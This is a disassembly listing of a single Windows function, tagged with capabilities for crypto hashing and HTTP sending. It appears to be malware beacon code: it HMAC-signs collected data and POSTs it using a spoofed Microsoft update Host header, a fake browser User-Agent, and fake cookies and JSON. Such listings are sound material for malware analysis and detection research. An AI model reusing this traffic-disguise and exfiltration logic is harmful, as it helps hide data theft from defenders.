Function at 0x140004760
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt
Send data
Send http request

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov edi, edx
mov rsi, rcx
mov edx, 1
mov r14d, r8d
lea eax, [rdi + 0xc]
mov ecx, eax
mov dword [rbp - 0x51], eax
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140005498
mov ecx, dword [0x14002a75c]
inc ecx
mov qword [rsp + 0x128], r12
mov dword [0x14002a75c], ecx
call qword [sym.imp.WS2_32.dll_htonl]
lea ecx, [rdi + 4]
mov dword [rbx], eax
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, r14d
mov dword [rbx + 4], eax
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, edi
lea rcx, [rbx + 0xc]
mov rdx, rsi
mov dword [rbx + 8], eax
call fcn.1400096b0
lea r8, [rbp - 0x51]
mov rdx, rbx
lea rcx, [0x14002a6f8]
call fcn.1400019c0
mov ebx, dword [rbp - 0x51]
mov edx, 1
mov rsi, rax
mov dword [rbp - 0x41], 0x20
lea ecx, [rdx + 0x1f]
call fcn.140009b88
movups xmm0, xmmword [0x14002a708]
xor r12d, r12d
mov dword [rbp - 1], 0x208
mov rdi, rax
mov qword [rbp - 0x69], r12
xor eax, eax
mov qword [rbp - 0x59], r12
mov qword [rbp - 0x29], rax
lea r8, str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
lea r9d, [r12 + 1]
mov qword [rbp - 0x49], r12
xor edx, edx
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 0x69]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov dword [rbp - 0x29], 0x800c
mov dword [rbp + 3], 0x6602
mov dword [rbp + 7], 0x10
movups xmmword [rbp + 0xb], xmm0
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140004940
mov rcx, qword [rbp - 0x69]
lea rax, [rbp - 0x59]
mov qword [rsp + 0x28], rax
lea r8d, [r12 + 0x1c]
xor r9d, r9d
mov dword [rsp + 0x20], pe_nt_image_headers64
lea rdx, [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140004934
mov r8, qword [rbp - 0x59]
lea rax, [rbp - 0x49]
mov rcx, qword [rbp - 0x69]
xor r9d, r9d
mov edx, 0x8009
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140004934
mov rcx, qword [rbp - 0x49]
lea r8, [rbp - 0x29]
xor r9d, r9d
lea edx, [r12 + 5]
call qword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
test eax, eax
je 0x14000492a
mov rcx, qword [rbp - 0x49]
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000492a
mov rcx, qword [rbp - 0x49]
lea r9, [rbp - 0x41]
mov r8, rdi
mov dword [rsp + 0x20], r12d
lea edx, [r12 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x69]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [rbp - 0x51]
lea ebx, [rcx + 0x14]
add ecx, 0x10
mov dword [rbp - 0x61], ebx
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, ebx
mov edx, 1
mov r14d, eax
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140005490
mov dword [rax], r14d
lea rcx, [rax + 4]
mov r8d, dword [rbp - 0x51]
mov rdx, rsi
call fcn.1400096b0
mov ecx, dword [rbp - 0x51]
movups xmm0, xmmword [rdi]
movups xmmword [rcx + rbx + 4], xmm0
mov rcx, rsi
call fcn.14000a0b4
mov rcx, rdi
call fcn.14000a0b4
mov ecx, 0x78
call fcn.14000c354
mov rdi, rax
test rax, rax
je 0x1400054b2
lea rcx, str.2f6170692f7633696e76322f7a612f6c6f67732f6261746368
call fcn.140001bb0
lea rcx, [0x14002a71a]
mov qword [rdi], rax
call fcn.140001bb0
lea rcx, str.486f73743a2075706461746577696e646f77732e6d6963726f736f66742e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3130322e302e302e30205361666172692f3533372e333630300d0a582d436c69656e742d56657273696f6e3a2032303231303830330d0a4163636570743a206170706c69636174696f6e2f6a736f6e2c20746578742f706c61696e2c202a2f2a0d0a526566657265723a2068747470733a2f2f6262732e62616964752e636f6d2f0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a
mov qword [rdi + 8], rax
call fcn.140001bb0
lea rcx, str.3332
mov qword [rdi + 0x10], rax
call fcn.140001bb0
lea rcx, str.5f787372663d754a32717162314550543432473233616656333b205f7a61703d62633737343465622d383761362d346466332d613833352d3764353937383535643338303b20486d5f6c76745f3938626565653561353262393734306334393d
mov qword [rdi + 0x18], rax
call fcn.140001bb0
lea rcx, str.3b4b4c42525349443d63646663633164346264613263667c313638393734387c31373532353435
mov qword [rdi + 0x20], rax
call fcn.140001bb0
lea rcx, str.436f6f6b69653a2025730d0a
mov qword [rdi + 0x28], rax
call fcn.140001bb0
lea rcx, [0x14002a718]
mov qword [rdi + 0x30], rax
call fcn.140001bb0
lea rcx, [0x140027174]
mov qword [rdi + 0x38], rax
mov dword [rdi + 0x40], 1
call fcn.140001bb0
lea rcx, str.7b226576656e745f7479706532223a226c6f6164222c2270616765223a30312c22757365725f66726f6d223a22776562222c226576656e745f6e616d65223a22766973697465642d686f6d65222c226c6f675f696e666f223a22
mov qword [rdi + 0x48], rax
call fcn.140001bb0
lea rcx, str.222c22636f6465223a22313136303832333738227d
mov qword [rdi + 0x50], rax
call fcn.140001bb0
lea rcx, [0x14002a719]
mov qword [rdi + 0x58], rax
call fcn.140001bb0
lea rcx, [0x14002a71c]
mov qword [rdi + 0x60], rax
call fcn.140001bb0
mov qword [rdi + 0x68], rax
lea r8, [rbp - 0x61]
mov dword [rdi + 0x70], 3
mov rdx, rbx
mov rcx, qword [rdi + 0x48]
call fcn.1400010e0
mov rsi, rax
test rax, rax
je 0x140005490
mov ebx, dword [rbp - 0x61]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rdi + 0x50]
nop dword [rax + rax]
cmp byte [rcx + rdx + 1], r12b
lea rdx, [rdx + 1]
jne 0x140004ac0
mov rax, qword [rdi + 0x58]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004ad6
lea rax, [rbx + rdx]
inc rcx
add rax, rcx
mov edx, 1
mov rcx, rax
mov qword [rbp - 0x59], rax
call fcn.140009b88
mov rdx, qword [rdi + 0x50]
mov r14, rax
mov qword [rbp - 0x39], rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004b10
mov rcx, r14
call fcn.1400096b0
mov rax, qword [rdi + 0x50]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004b30
add rcx, r14
mov r8, rbx
mov rdx, rsi
call fcn.1400096b0
mov rdx, qword [rdi + 0x58]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004b52
mov rax, qword [rdi + 0x50]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004b66
add rcx, rbx
add rcx, r14
call fcn.1400096b0
mov rcx, rsi
call fcn.14000a0b4
mov edx, 1
lea ecx, [rdx + 0x7f]
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140005490
mov ecx, dword [0x14002a6f4]
lea r9, [0x1400222d8]
mov dword [rsp + 0x20], ecx
mov edx, 0x80
mov rcx, rax
mov r8, 0xffffffffffffffff
call fcn.140001ec0
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], r12b
jne 0x140004bc7
mov dword [rbp - 0x61], ecx
lea r8, [rbp - 0x61]
mov rcx, qword [rdi + 0x18]
mov rdx, rbx
call fcn.1400010e0
mov rsi, rax
test rax, rax
je 0x140005490
mov ebx, dword [rbp - 0x61]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0xd0], r15
cmp byte [rcx + rdx + 1], r12b
lea rdx, [rdx + 1]
jne 0x140004c05
mov rax, qword [rdi + 0x28]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004c20
lea r15, [rbx + rdx]
inc rcx
add r15, rcx
mov edx, 1
mov rcx, r15
call fcn.140009b88
mov rdx, qword [rdi + 0x20]
mov r14, rax
mov qword [rbp - 0x69], rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004c52
mov rcx, r14
call fcn.1400096b0
mov rax, qword [rdi + 0x20]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004c70
add rcx, r14
mov r8, rbx
mov rdx, rsi
call fcn.1400096b0
mov rdx, qword [rdi + 0x28]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x140004c92
mov rax, qword [rdi + 0x20]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004ca6
add rcx, rbx
add rcx, r14
call fcn.1400096b0
mov rcx, rsi
call fcn.14000a0b4
mov rax, qword [rdi]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140004cd0
inc rbx
mov edx, 1
mov rcx, rbx
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x140005488
mov rdx, qword [rdi]
mov r8, rbx
mov rcx, rax
mov qword [rsp + 0xd8], r13
call fcn.1400096b0
mov rax, qword [rdi + 0x10]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], r12b
jne 0x140004d16
inc rsi
mov edx, 1
mov rcx, rsi
call fcn.140009b88
mov r13, rax
test rax, rax
je 0x140005480
mov rdx, qword [rdi + 0x10]
mov r8, rsi
mov rcx, rax
call fcn.1400096b0
mov edx, dword [rdi + 0x40]
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x49], r12
sub edx, 1
je 0x140004f80
sub edx, 1
je 0x140004ec2
sub edx, 1
je 0x140004e8f
cmp edx, 1
jne 0x140004dc7
add rbx, r15
mov edx, 1
mov rcx, rbx
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov rcx, qword [rbp - 0x69]
lea r9, [0x1400222d0]
mov qword [rsp + 0x28], rcx
mov r8, 0xffffffffffffffff
mov rcx, rax
mov qword [rsp + 0x20], r14
mov rdx, rbx
call fcn.140001ec0
mov rcx, r14
call fcn.14000a0b4
mov r14, r15
mov r15, r12
mov ecx, dword [rdi + 0x70]
sub ecx, 1
je 0x140005122
sub ecx, 1
je 0x140005073
sub ecx, 1
je 0x14000503e
cmp ecx, 1
jne 0x1400051cd
add rbx, qword [rbp - 0x59]
mov edx, ecx
mov rcx, rbx
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x140005480
mov rax, qword [rbp - 0x39]
lea r9, [0x1400222d0]
mov qword [rsp + 0x28], rax
mov r8, 0xffffffffffffffff
mov rdx, rbx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call fcn.140001ec0
mov rcx, r14
call fcn.14000a0b4
test r15, r15
je 0x140005036
add rbx, r12
mov edx, 1
mov rcx, rbx
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x140005480
mov qword [rsp + 0x28], r15
lea r9, [0x1400222d0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rsi
mov rdx, rbx
mov rcx, rax
call fcn.140001ec0
mov rcx, rsi
call fcn.14000a0b4
jmp 0x1400051cd
lea rcx, [r15 + 1]
mov edx, 1
call fcn.140009b88
mov qword [rbp - 0x41], rax
test rax, rax
je 0x140005480
mov rdx, qword [rbp - 0x69]
mov r8, r15
mov rcx, rax
call fcn.1400096b0
mov qword [rbp - 0x61], r15
jmp 0x140004dc7
mov rcx, qword [rdi + 0x38]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x140004ed0
lea r12, [r15 - 1]
mov edx, 1
add r12, rax
mov rcx, r12
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov rcx, qword [rbp - 0x69]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x38]
mov rdx, r12
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001ec0
cmp dword [rdi + 0x70], 4
je 0x140004dca
add rbx, r12
mov edx, 1
mov rcx, rbx
call fcn.140009b88
mov r12, rax
test rax, rax
je 0x140005480
mov qword [rsp + 0x28], r15
lea r9, [0x1400222d0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov rcx, rax
call fcn.140001ec0
mov rcx, r14
call fcn.14000a0b4
mov rcx, r15
call fcn.14000a0b4
mov r15, qword [rbp - 0x49]
mov r14, r12
mov r12, r15
jmp 0x140004dca
mov rcx, qword [rdi + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x140004f90
lea r12, [r15 - 1]
mov edx, 1
add r12, rax
mov rcx, r12
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov rcx, qword [rbp - 0x69]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x30]
mov rdx, r12
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001ec0
add rsi, r12
mov edx, 1
mov rcx, rsi
call fcn.140009b88
mov r12, rax
test rax, rax
je 0x140005480
mov qword [rsp + 0x28], r15
lea r9, [0x1400222d0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r13
mov rdx, rsi
mov rcx, rax
call fcn.140001ec0
mov rcx, r13
call fcn.14000a0b4
mov rcx, r15
call fcn.14000a0b4
mov r15, qword [rbp - 0x49]
mov r13, r12
mov r12, r15
jmp 0x140004dca
mov r14, rsi
jmp 0x1400051cd
mov rsi, qword [rbp - 0x59]
mov edx, 1
lea rcx, [rsi + 1]
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov rdx, qword [rbp - 0x39]
mov r8, rsi
mov rcx, rax
call fcn.1400096b0
mov r12, rsi
jmp 0x1400051d5
mov rcx, qword [rdi + 0x68]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140005080
mov r15, qword [rbp - 0x59]
mov edx, 1
dec r15
add r15, rax
mov rcx, r15
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x140005480
mov rax, qword [rbp - 0x39]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x68]
mov rdx, r15
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.140001ec0
add rbx, r15
mov edx, 1
mov rcx, rbx
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov qword [rsp + 0x28], rsi
lea r9, [0x1400222d0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov rcx, rax
call fcn.140001ec0
mov rcx, r14
call fcn.14000a0b4
mov rcx, rsi
call fcn.14000a0b4
mov r14, r15
jmp 0x1400051cd
mov rcx, qword [rdi + 0x60]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140005130
mov r12, qword [rbp - 0x59]
mov edx, 1
dec r12
add r12, rax
mov rcx, r12
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005480
mov rax, qword [rbp - 0x39]
mov r8, 0xffffffffffffffff
mov r9, qword [rdi + 0x60]
mov rdx, r12
mov rcx, r15
mov qword [rsp + 0x20], rax
call fcn.140001ec0
add r12, rsi
mov edx, 1
mov rcx, r12
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x140005480
mov qword [rsp + 0x28], r15
lea r9, [0x1400222d0]
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r13
mov rdx, r12
mov rcx, rax
call fcn.140001ec0
mov rcx, r13
call fcn.14000a0b4
mov rcx, r15
call fcn.14000a0b4
mov r13, rsi
mov r15, qword [rbp - 0x41]
mov r12, qword [rbp - 0x61]
mov rax, qword [rdi + 8]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400051e0
add rsi, rbx
mov edx, 1
mov rcx, rsi
call fcn.140009b88
mov rbx, rax
test rax, rax
je 0x140005480
mov r8, qword [rdi + 8]
lea r9, [0x1400222d0]
mov qword [rsp + 0x28], r8
mov rdx, rsi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x20], r14
mov rcx, rax
call fcn.140001ec0
mov rcx, r14
call fcn.14000a0b4
mov ecx, 0x20
call fcn.14000c354
mov rsi, rax
test rax, rax
je 0x140005480
lea rcx, [r12 - 1]
mov qword [rax], rbx
mov qword [rax + 0x18], rcx
mov rcx, qword [rbp - 0x39]
mov qword [rax + 8], r13
mov qword [rax + 0x10], r15
call fcn.14000a0b4
mov rcx, qword [rbp - 0x69]
call fcn.14000a0b4
mov rcx, qword [rdi]
call fcn.14000a0b4
mov rcx, qword [rdi + 8]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x10]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x18]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x20]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x28]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x30]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x38]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x48]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x50]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x58]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x60]
call fcn.14000a0b4
mov rcx, qword [rdi + 0x68]
call fcn.14000a0b4
mov rcx, rdi
call fcn.14000a0b4
xor r12d, r12d
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x59], r12
mov qword [rbp - 0x69], r12
call fcn.140003840
test eax, eax
je 0x14000545e
lea edx, [r12 + 1]
lea ecx, [rdx + 9]
call fcn.140009b88
mov rdi, rax
test rax, rax
je 0x14000544a
xor ecx, ecx
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov ebx, eax
and ebx, 0x80000003
jge 0x14000534a
dec ebx
or ebx, 0xfffffffc
inc ebx
add ebx, 5
mov rcx, rdi
mov edx, ebx
call section..text
mov rcx, qword [rsi]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r12b
jne 0x140005361
add eax, 0xf
mov edx, 1
add eax, ebx
mov ecx, eax
mov r15d, eax
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x14000544a
lea ecx, [rbx + 1]
mov r8, 0xffffffffffffffff
mov dword [rsp + 0x30], ecx
lea r9, str.__s_s._d
mov rcx, qword [rsi]
mov edx, r15d
mov qword [rsp + 0x28], rcx
mov rcx, rax
mov qword [rsp + 0x20], rdi
call fcn.140001ec0
mov rcx, rdi
call fcn.14000a0b4
mov eax, dword [0x14002a758]
lea rdx, str.POST
mov rdi, qword [rbp - 0x69]
xor r9d, r9d
mov qword [rsp + 0x38], r12
mov r8, r14
mov dword [rsp + 0x30], eax
mov rcx, rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, r14
mov rbx, rax
call fcn.14000a0b4
test rbx, rbx
je 0x140005445
mov rcx, rbx
call fcn.1400054c0
mov rdx, qword [rsi + 8]
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov eax, dword [rsi + 0x18]
xor r8d, r8d
mov r9, qword [rsi + 0x10]
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
jmp 0x14000544e
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsi]
call fcn.14000a0b4
mov rcx, qword [rsi + 8]
call fcn.14000a0b4
mov rcx, qword [rsi + 0x10]
call fcn.14000a0b4
mov rcx, rsi
call fcn.14000a0b4
mov r13, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xd0]
mov r12, qword [rsp + 0x128]
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140007e30
add rsp, 0xe0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, rbx
call fcn.14000a0b4
jmp 0x140005490